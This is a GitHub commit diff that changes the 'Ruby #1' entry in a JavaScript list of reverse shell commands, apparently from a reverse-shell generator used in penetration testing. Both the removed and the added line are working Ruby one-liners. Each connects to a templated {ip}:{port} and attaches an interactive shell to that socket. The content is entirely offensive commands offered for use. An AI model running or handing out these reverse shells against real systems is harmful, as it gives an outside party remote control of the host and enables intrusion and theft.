Merge pull request #56 from ricxpl/main

Fix Ruby #1 shell
This commit is contained in:
Ryan Montgomery 2021-07-01 10:03:20 -04:00 committed by GitHub
commit 1ee00e99f1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -215,7 +215,7 @@ const reverseShellCommands = withCommandType(
}, },
{ {
"name": "Ruby #1", "name": "Ruby #1",
"command": "ruby -rsocket -e'f=TCPSocket.open(\"{ip}\",{port}).to_i;exec sprintf(\"{shell} -i <&%d >&%d 2>&%d\",f,f,f)'", "command": "ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{ip}\",{port}))'",
"meta": ["linux", "mac"] "meta": ["linux", "mac"]
}, },
{ {